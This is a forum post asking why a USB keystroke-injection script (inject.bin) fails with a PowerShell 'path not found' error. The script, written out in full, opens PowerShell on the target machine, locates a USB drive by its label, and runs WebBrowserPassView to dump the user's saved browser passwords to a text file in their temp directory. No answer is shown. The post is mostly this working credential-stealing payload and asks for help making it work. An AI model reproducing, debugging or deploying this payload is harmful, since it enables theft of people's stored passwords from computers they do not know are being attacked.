Jump to content

powershell error 3 the system cannot find path specified


Recommended Posts

When I execute line by line to test if the script is working I do get a result, but when I try to execute it as a inject.bin I get a powershell error

Error 3: The system cannot find path specified

I want to use the WebBrowserPassView to save the result in user's temp directory:

 

DELAY 1000
GUI R
DELAY 100
STRING powershell
ENTER
DELAY 500
STRING $usbpath = Get-WMIObject win32_Volume | ? { $_.Label -eq '_' } | select name
ENTER
DELAY 100
STRING Set-Variable -Name "profile" $env:USERPROFILE\AppData\Local\Temp
ENTER
DELAY 100
STRING cd $usbpath.name
ENTER
DELAY 100
STRING ./WebBrowserPassView.exe /stext $profile\temp.txt
ENTER
DELAY 100
STRING exit
DELAY 100
ENTER

Can someone help me in this one?

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...